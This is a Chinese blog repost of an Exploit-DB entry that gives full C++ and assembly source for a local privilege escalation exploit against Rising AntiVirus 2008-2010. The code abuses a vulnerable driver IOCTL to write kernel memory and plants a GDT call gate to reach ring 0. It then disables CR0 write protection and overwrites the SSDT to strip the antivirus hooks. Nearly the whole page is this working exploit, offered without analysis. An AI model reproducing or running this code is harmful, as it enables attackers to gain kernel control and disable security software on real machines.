存档

文章标签 ‘Rising AntiVirus’

Rising AntiVirus 2008/2009/2010 Local Privilege Escalation Exploit

2010年2月1日 没有评论

# Title: Rising AntiVirus 2008/2009/2010 Local Privilege Escalation Exploit
# EDB-ID: 11281
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Dlrow
# Published: 2010-01-28
# Verified: no
# Download Exploit Code
# Download N/A

view source
print?
by Dlrow   dlrow1991@ymail.com<mailto:dlrow1991@ymail.com
restore all ssdt hooks 
// Rising0day.cpp : Defines the entry point for the console application. 
// 

#include “stdafx.h” 
#include “windows.h” 
enum { SystemModuleInformation = 11 }; 
typedef struct { 
    ULONG   Unknown1; 
    ULONG   Unknown2; 
    PVOID   Base; 
    ULONG   Size; 
    ULONG   Flags; 
    USHORT  Index; 
    USHORT  NameLength; 
    USHORT  LoadCount; 
    USHORT  PathLength; 
    CHAR    ImageName[256]; 
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; 
typedef struct { 
    ULONG   Count; 
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; 
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 
HANDLE g_RsGdiHandle = 0 ; 
void __stdcall WriteKVM(PVOID Address , ULONG Value) 

 ULONG ColorValue = Value ; 
 ULONG btr ; 
 ULONG ColorBuffer = 0 ; 
  
 DeviceIoControl(g_RsGdiHandle , 
  0x83003C0B, 
  &ColorValue , 
  sizeof(ULONG), 
  &ColorBuffer , 
  sizeof(ULONG), 
  &btr , 
  0 
  ); 
 DeviceIoControl(g_RsGdiHandle , 
  0x83003C0B, 
  &ColorValue , 
  sizeof(ULONG), 
  Address , 
  sizeof(ULONG), 
  &btr , 
  0 
  ); 
 return ; 

void AddCallGate() 

 ULONG Gdt_Addr; 
 ULONG CallGateData[0x4]; 
 ULONG Icount; 
 __asm 
 { 
  push edx 
  sgdt [esp-2] 
  pop edx 
  mov Gdt_Addr , edx 
 } 
 __asm 
 { 
  
  push 0xc3 
  push Gdt_Addr 
  call WriteKVM 
  mov eax,Gdt_Addr 
  mov word ptr[CallGateData],ax 
  shr eax,16 
  mov word ptr[CallGateData+6],ax 
  mov dword ptr[CallGateData+2],0x0ec0003e8 
  mov dword ptr[CallGateData+8],0x0000ffff 
  mov dword ptr[CallGateData+12],0x00cf9a00 
  xor eax,eax 
LoopWrite: 
  mov edi,dword ptr CallGateData[eax] 
  
  push edi 
  mov edi,Gdt_Addr 
  add edi,0x3e0 
  add edi,eax 
  push edi 
  mov Icount,eax 
  call WriteKVM 
  mov eax,Icount 
  add eax , 0×4 
  cmp eax,0×10 
  jnz LoopWrite 
 } 
  
 return ; 

  
void IntoR0(PVOID function) 

 WORD Callgt[3]; 
 Callgt[0] = 0; 
 Callgt[1] = 0; 
 Callgt[2] = 0x3e3; 
 __asm 
 { 
  call fword ptr[Callgt] 
  mov eax,esp 
  mov esp,[esp+4] 
  push eax 
  call function 
  pop esp 
  push offset ring3Ret 
  retf 
ring3Ret: 
  nop 
 } 
 return ; 
  

#pragma pack(1) 
typedef struct _IDTR 

 SHORT  IDTLimit; 
 UINT  IDTBase; 
}IDTR, 
 *PIDTR, 
 **PPIDTR; 
#pragma pack() 
ULONG g_RealSSDT = 0 ; 
ULONG ServiceNum = 0 ; 
ULONG OrgService [0x1000] ; 
ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva) 

 ULONG Offset = Rva, Limit; 
 IMAGE_SECTION_HEADER *Img; 
 WORD i; 
  
 Img = IMAGE_FIRST_SECTION(NT); 
  
 if (Rva < Img->PointerToRawData) 
  return Rva; 
  
 for (i = 0; i < NT->FileHeader.NumberOfSections; i++) 
 { 
  if (Img[i].SizeOfRawData) 
   Limit = Img[i].SizeOfRawData; 
  else
   Limit = Img[i].Misc.VirtualSize; 
  
  if (Rva >= Img[i].VirtualAddress && 
   Rva < (Img[i].VirtualAddress + Limit)) 
  { 
   if (Img[i].PointerToRawData != 0) 
   { 
    Offset -= Img[i].VirtualAddress; 
    Offset += Img[i].PointerToRawData; 
   } 
  
   return Offset; 
  } 
 } 
  
 return 0; 

#define ibaseDD *(PDWORD)&ibase 
DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh) 

    PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase; 
    if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE; 
    *pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew]; 
    if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE; 
    *pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE)); 
    *poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER)); 
    if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE; 
    *psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER)); 
    return TRUE; 

typedef struct { 
    WORD    offset:12; 
    WORD    type:4; 
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY; 
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset))) 
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase) 

    PIMAGE_FILE_HEADER    pfh; 
    PIMAGE_OPTIONAL_HEADER    poh; 
    PIMAGE_SECTION_HEADER    psh; 
    PIMAGE_BASE_RELOCATION    pbr; 
    PIMAGE_FIXUP_ENTRY    pfe; 
  
    DWORD    dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable; 
    BOOL    bFirstChunk; 
  
    GetHeaders((PCHAR)hModule,&pfh,&poh,&psh); 
  
    if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) && 
        (!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) { 
  
        pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule); 
        bFirstChunk=TRUE; 
        while (bFirstChunk || pbr->VirtualAddress) { 
            bFirstChunk=FALSE; 
  
            pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION)); 
  
            for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) { 
                if (pfe->type==IMAGE_REL_BASED_HIGHLOW) { 
                    dwFixups++; 
                    dwPointerRva=pbr->VirtualAddress+pfe->offset; 
                    dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase; 
  
                    if (dwPointsToRva==dwKSDT) 
     { 
                        if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7) 
      { 
                            dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase; 
       *ImageBase = poh->ImageBase; 
                            return dwKiServiceTable; 
                        } 
                    } 
  
                } 
            } 
            *(PDWORD)&pbr+=pbr->SizeOfBlock; 
        } 
    } 
  
    return 0; 

DWORD CR0Reg ; 
ULONG realssdt ; 
void InKerneProc() 

 __asm 
 { 
  cli 
  mov eax, cr0 
  mov CR0Reg,eax 
  and eax,0xFFFEFFFF 
  mov cr0, eax 
 } 
 int i; 
 for (i = 0; i < (int)ServiceNum; i++) 
 { 
  *(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService[i]; 
 } 
 __asm 
 { 
  mov eax, CR0Reg 
  mov cr0, eax 
  sti 
 } 
  

int main(int argc, char* argv[]) 

 printf(“Rising AntiVirus 2008 ~ 2010 \n”
  “Local Privilege Escalation Vulnerability Proof Of Concept Exploit\n 2010-1-27\n”); 
  
     g_RsGdiHandle = CreateFile(“\\\\.\\RSNTGDI” , 
  0, 
  FILE_SHARE_READ | FILE_SHARE_WRITE , 
  0, 
  OPEN_EXISTING , 0 , 0 ); 
 if (g_RsGdiHandle == INVALID_HANDLE_VALUE) 
 { 
  return 0 ; 
 } 
  
 SYSTEM_MODULE_INFORMATION ModuleInfo ; 
  
 // Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it’s base address 
  
 HMODULE hlib = GetModuleHandle(“ntdll.dll”); 
 PVOID pNtQuerySystemInformation = GetProcAddress(hlib , “NtQuerySystemInformation”); 
 ULONG infosize = sizeof(ModuleInfo); 
  
 __asm 
 { 
  push 0 
  push infosize 
  lea eax , ModuleInfo 
  push eax 
  push 11 
  call pNtQuerySystemInformation 
 } 
  
 HMODULE KernelHandle ; 
 LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength); 
  
    // Load the kernel image specified 
 KernelHandle = LoadLibrary(ntosname); 
 if (KernelHandle == 0 ) 
 { 
  return 0 ; 
 } 
  
 ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , “KeServiceDescriptorTable”); 
  
 if (KeSSDT == 0 ) 
 { 
  return 0 ; 
 } 
 ULONG ImageBase = 0 ; 
 ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT – (ULONG)KernelHandle , &ImageBase); 
 if (KiSSDT == 0 ) 
 { 
  return 0 ; 
 } 
 KiSSDT += (ULONG)KernelHandle; 
 ServiceNum = 0x11c ; 
 ULONG i ; 
  
 for (i = 0 ; i < ServiceNum ; i ++) 
 { 
  OrgService[i] = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base – ImageBase; 
 } 
  
 realssdt = KeSSDT – (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base; 
  
 SetThreadAffinityMask(GetCurrentThread () , 0 ) ; 
  
 AddCallGate(); 
 IntoR0(InKerneProc); 
 return 0; 
}

分类: 漏洞收集 标签: